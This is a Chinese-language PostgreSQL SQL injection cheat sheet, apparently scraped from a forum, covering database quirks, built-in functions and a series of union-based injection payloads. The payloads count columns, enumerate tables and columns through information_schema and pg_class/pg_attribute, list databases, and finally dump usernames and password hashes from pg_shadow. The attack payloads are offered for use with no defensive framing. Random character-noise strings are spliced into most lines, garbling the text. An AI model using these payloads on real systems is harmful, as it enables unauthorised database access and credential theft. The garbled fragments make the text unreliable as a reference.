结合了MSSQL MySQL Oracle的一些特点3 T2 c5 b6 \9 \, t
支持多语句执行,语句可以没有from postgres用户是超级用户(创始人账户) 只有superuser有copy权限 注释: — , /**/
3 x0 d' @+ G7 d1 H连接符: %20 , + , /**/ 内置函数:
5 K+ r) ]6 H; a9 H0 ?* Gcurrent_database() //当前数据库名% s7 A' w5 ?% L$ O$ W+ k
session_user //会话用户
# x# w% Z& ]8 x" ^ vcurrent_user //当前数据库用户
* k' s" _5 W5 L6 Z% I( @( q* iuser //当前用户
8 n" u ?( G# cversion() //数据库版本 Union注射:- Y5 z6 J: |% s- A* q
order by n–5 W1 B0 p! G7 M4 |6 \% l$ m
and 1=2 union select null,null,null–4 O9 d \8 ]7 r( ]' U! \
and 1=2 union select ‘beach’,null,null–
1 m7 S8 v6 Z! E" ]: jand 1=2 union select (select version()),null,null– 获取表名,字段名(新版本利用information_schema):
2 h# [& z, q# e y* pgroup_concat(table_name)% k: v% K: d6 G; B3 M) R$ S7 G, p
and 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–& u& b0 P& C$ M
and 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–- Q, A0 N4 F4 s2 H5 q+ t
(老版本)' l) X5 |! v* Z8 v5 _
pg_class.oid对应pg_attribute.attrelid
8 _0 x$ g' B% d! n V+ L7 ypg_class.relname表名
8 F; ]& B0 }! v% h9 ]pg_attribute.attname字段名 select relname from pg_class获取表名0 t8 \: ? N' W T7 K
select oid from pg_class where 条件 获取参数
/ Y( Q* y0 s4 C) ~# wselect attname from pg_attribute where attrelid=’oid的值’ 获取字段名 实战:
& Z; Y" r: @2 M8 N! r# Kand 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表
" G- l5 W3 q* Q1 C% gand 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–# O( v" f5 f" T; |6 A
由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136 and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名, t3 h1 Q/ A* h' ~6 F. t4 j
======================================================================* x4 ~9 h; w1 y9 b9 o, S3 T
and 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库
0 g6 J0 I7 {* l7 {& M$ N$ B# Oand 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码 |